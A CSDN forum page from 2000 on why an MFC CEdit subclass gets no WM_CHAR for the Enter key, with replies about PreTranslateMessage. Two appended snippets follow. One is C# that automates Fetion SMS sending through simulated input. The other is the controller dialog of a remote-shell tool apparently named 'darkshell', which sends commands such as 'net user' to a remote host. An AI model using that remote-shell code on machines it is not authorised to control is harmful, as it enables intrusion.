当按下回车,为何不发送WM_CHAR或WM_KEYDOWN消息.

yongdu 2000-06-21 02:44:00
当按下回车,为何不发送WM_CHAR或WM_KEYDOWN消息。

但按下字符按键时,它要发送。问我怎样使按下回车时执行OnChar???
...全文
353 7 打赏 收藏 转发到动态 举报
写回复
用AI写文章
7 条回复
切换为时间正序
请发表友善的回复…
发表回复
dark 2000-06-27
  • 打赏
  • 举报
回复
同意FireAngle的意见,也可以重载PreTranlateMessage函数
土豆 2000-06-26
  • 打赏
  • 举报
回复
CEdit类已经将回车过滤掉了,要处理的话,只有自己子类化CEdit控件。
yongdu 2000-06-22
  • 打赏
  • 举报
回复
是吗?CEdit 的PreTranslateMessage 把WM_CHAR 消息的wParam==VK_RETURN时
就 return??

WHQ是不是这意思?
WHQ 2000-06-21
  • 打赏
  • 举报
回复
应该是PreTranslateMessage把它处理了
robo 2000-06-21
  • 打赏
  • 举报
回复
检查你SubClass的CEdit是否另外有处理消息和处理消息的方式。
yongdu 2000-06-21
  • 打赏
  • 举报
回复
我从CEdit中派生类A,A中处理了WM_CHAR消息,但当我按下回车键时,没有WM_CHAR消息发送。(用WM_KEYDOWN也无用)

当然我是在编辑框中按键盘的,处理字符是正确的。

robo 2000-06-21
  • 打赏
  • 举报
回复
请具体些,比如你在那里按下
模拟键盘鼠标操作飞信界面发送短信 private void SendSMS() { #if DEBUG string[] addr = new string[] { "闻佃来"}; #else string[] addr = new string[] { "张三", "李四"}; #endif string message = " "; if (message == "") return; Rectangle rect = new Rectangle(); Windows wins = new Windows(); IntPtr hwin = IntPtr.Zero; foreach (Window w in wins) { if (w.Title.IndexOf("发短信") >= 0) { hwin = w.hWnd; break; } } //未找到发送窗口,点击主窗口下的短信发送按钮 if (hwin == IntPtr.Zero) { wins = new Windows(); foreach (Window w in wins) { if (w.Title.IndexOf("飞信2013") >= 0) { //唤醒屏保 Win32.SetCursorPos(10,10); Win32.mouse_event(Win32.MOUSEEVENTF_MOVE, 50, 50, 0, 0); Thread.Sleep(1500); Win32.ShowWindow(w.hWnd, Win32.SW_SHOWNORMAL); Win32.SetForegroundWindow(hwin); Win32.GetWindowRect(w.hWnd, ref rect); IntPtr hDesk = Win32.GetDesktopWindow(); Rectangle rdesk = new Rectangle(); Win32.GetWindowRect(hDesk,ref rdesk); if (rect.Y < 0) { //上 Win32.SetCursorPos(rect.X +(rect.Width-rect.X)/2,0); Win32.mouse_event(Win32.MOUSEEVENTF_MOVE, 0, 1, 0, 0); Thread.Sleep(1500); Win32.GetWindowRect(w.hWnd, ref rect); } else if (rect.Y >= rdesk.Height - 3) { //下 Win32.SetCursorPos(rect.X + (rect.Width - rect.X) / 2,rdesk.Height); Win32.mouse_event(Win32.MOUSEEVENTF_MOVE, 0, -1, 0, 0); Thread.Sleep(1500); Win32.GetWindowRect(w.hWnd, ref rect); } else if (rect.X <= 0) { //左边 Win32.SetCursorPos(0, rect.Y + (rect.Height - rect.Y) / 2); Thread.Sleep(2000); Win32.mouse_event(Win32.MOUSEEVENTF_MOVE, 1, 0, 0, 0); Thread.Sleep(1500); Win32.GetWindowRect(w.hWnd, ref rect); } else if (rect.X >= rdesk.Width - 3) { //右边 Win32.SetCursorPos(rdesk.Width, rect.Y + (rect.Height - rect.Y) / 2); Thread.Sleep(2000); Win32.mouse_event(Win32.MOUSEEVENTF_MOVE, -1, 0, 0, 0); Thread.Sleep(1500); Win32.GetWindowRect(w.hWnd, ref rect); }else { Win32.MoveWindow(w.hWnd, rect.Left, 0, rect.Width - rect.Left, rect.Height - rect.Top, true); Win32.GetWindowRect(w.hWnd, ref rect); Thread.Sleep(300); } Win32.SetCursorPos(rect.X+70,rect.Height-50); Win32.mouse_event(Win32.MOUSEEVENTF_LEFTDOWN | Win32.MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); Thread.Sleep(2000); break; } } //再次查找发送窗口 wins = new Windows(); foreach (Window w in wins) { if (w.Title.IndexOf("发短信") >= 0) { hwin = w.hWnd; break; } } } //查询发送窗口成功 if (hwin != IntPtr.Zero) { Win32.ShowWindow(hwin, Win32.SW_SHOWNORMAL); Win32.SetForegroundWindow(hwin); Win32.GetWindowRect(hwin, ref rect); IntPtr hwndtel = Win32.WindowFromPoint(rect.Left + 120, rect.Top + 45); IntPtr hwndsend = Win32.WindowFromPoint(rect.Left + 50, rect.Height - 60); //单击地址栏 Win32.SetCursorPos(rect.Left + 120, rect.Top + 45); Win32.mouse_event(Win32.MOUSEEVENTF_LEFTDOWN | Win32.MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); Thread.Sleep(1000); //加入地址 for (int i = 0; i < addr.Length; i++) { Clipboard.SetText(addr[i]); Thread.Sleep(200); Win32.SendMessage(hwndtel, Win32.WM_PASTE, 0, 0); Thread.Sleep(300); Win32.SendMessage(hwndtel, Win32.WM_KEYDOWN, 0X0D, 0);//发 Win32.SendMessage(hwndtel, Win32.WM_KEYUP, 0X0D, 0); //送 Win32.SendMessage(hwndtel, Win32.WM_CHAR, 0X0D, 0); //回车 Thread.Sleep(300); } //加入消息文本 Clipboard.SetText(message); Thread.Sleep(200); Win32.SendMessage(hwndsend, Win32.WM_PASTE, 0, 0); Thread.Sleep(200); #if DEBUG #else if (!_TestMode) { Win32.SendMessage(hwndsend, Win32.WM_KEYDOWN, 0X0D, 0); Win32.SendMessage(hwndsend, Win32.WM_KEYUP, 0X0D, 0); Win32.SendMessage(hwndsend, Win32.WM_CHAR, 0X0D, 0); } #endif textBox1.AppendText("---------------------------------------- \n"); textBox1.AppendText(DateTime.Now + ":"+ message + "\n"); } else { textBox1.AppendText("无法打开飞信短信发送窗口\n"); } _LastSend = DateTime.Now; LastSendTime = _LastSend; }
// CmdShellDlg.cpp : implementation file // #include "stdafx.h" #include "darkshell.h" #include "CmdShellDlg.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif ///////////////////////////////////////////////////////////////////////////// // CCmdShellDlg dialog CCmdShellDlg::CCmdShellDlg(CWnd* pParent /*=NULL*/) : CDialog(CCmdShellDlg::IDD, pParent) { //{{AFX_DATA_INIT(CCmdShellDlg) m_Cmd = _T("net user"); //}}AFX_DATA_INIT } void CCmdShellDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); //{{AFX_DATA_MAP(CCmdShellDlg) DDX_Control(pDX, IDC_EDIT_SHELL, m_EdtShell); DDX_Text(pDX, IDC_EDIT_CMD, m_Cmd); //}}AFX_DATA_MAP } BEGIN_MESSAGE_MAP(CCmdShellDlg, CDialog) //{{AFX_MSG_MAP(CCmdShellDlg) ON_BN_CLICKED(IDC_BTN_RUN, OnBtnRun) ON_BN_CLICKED(IDC_BTN_CLEAN, OnBtnClean) //}}AFX_MSG_MAP END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CCmdShellDlg message handlers BOOL CCmdShellDlg::OnInitDialog() { CDialog::OnInitDialog(); // Set the small icon for this dialog SetIcon(AfxGetApp()->LoadIcon(IDI_ICOBTN_SHELL), FALSE); CenterWindow(); // TODO: Add extra initialization here TCHAR szIp[100]; DWORD dwPort = m_hServer.GetPeerName(szIp); CString strTitle; strTitle.Format(_T("超级终端@%s:%d"), szIp, dwPort); SetWindowText(strTitle); //设置回调 m_hServer.SetCallBack(this); //开始CmdShell m_hServer.Begin(); return TRUE; } void CCmdShellDlg::OnCancel() { // TODO: Add extra cleanup here m_hServer.SendCmd(_T("exit\r\n")); m_hServer.Close(); //非模式对话框,需要这样销毁对话框 DestroyWindow(); //CDialog::OnCancel(); } void CCmdShellDlg::PostNcDestroy() { // TODO: Add your specialized code here and/or call the base class //delete掉主对话框中new出来的指针 delete this; CDialog::PostNcDestroy(); } BOOL CCmdShellDlg::PreTranslateMessage(MSG* pMsg) { // TODO: Add your specialized code here and/or call the base class if (pMsg->message == WM_KEYDOWN) { int nVirtKey = (int)pMsg->wParam; if (nVirtKey == VK_RETURN) { //如果是回车在这里做你要做的事情,或者什么也不作 return TRUE; } if (nVirtKey == VK_ESCAPE) { //如果是ESC在这里做你要做的事情,或者什么也不作 return TRUE; } } return CDialog::PreTranslateMessage(pMsg); } //回调函数 void CCmdShellDlg::OnRecvMsg(LPCTSTR szMsg) { m_EdtShell.AddText(szMsg); } void CCmdShellDlg::OnBtnRun() { // TODO: Add your control notification handler code here UpdateData(); m_Cmd +=_T("\r\n"); m_hServer.SendCmd(m_Cmd); } void CCmdShellDlg::OnBtnClean() { // TODO: Add your control notification handler code here m_EdtShell.ClearEdit(); }

16,471

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC相关问题讨论
社区管理员
  • 基础类社区
  • Web++
  • encoderlee
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

        VC/MFC社区版块或许是CSDN最“古老”的版块了,记忆之中,与CSDN的年龄几乎差不多。随着时间的推移,MFC技术渐渐的偏离了开发主流,若干年之后的今天,当我们面对着微软的这个经典之笔,内心充满着敬意,那些曾经的记忆,可以说代表着二十年前曾经的辉煌……
        向经典致敬,或许是老一代程序员内心里面难以释怀的感受。互联网大行其道的今天,我们期待着MFC技术能够恢复其曾经的辉煌,或许这个期待会永远成为一种“梦想”,或许一切皆有可能……
        我们希望这个版块可以很好的适配Web时代,期待更好的互联网技术能够使得MFC技术框架得以重现活力,……

试试用AI创作助手写篇文章吧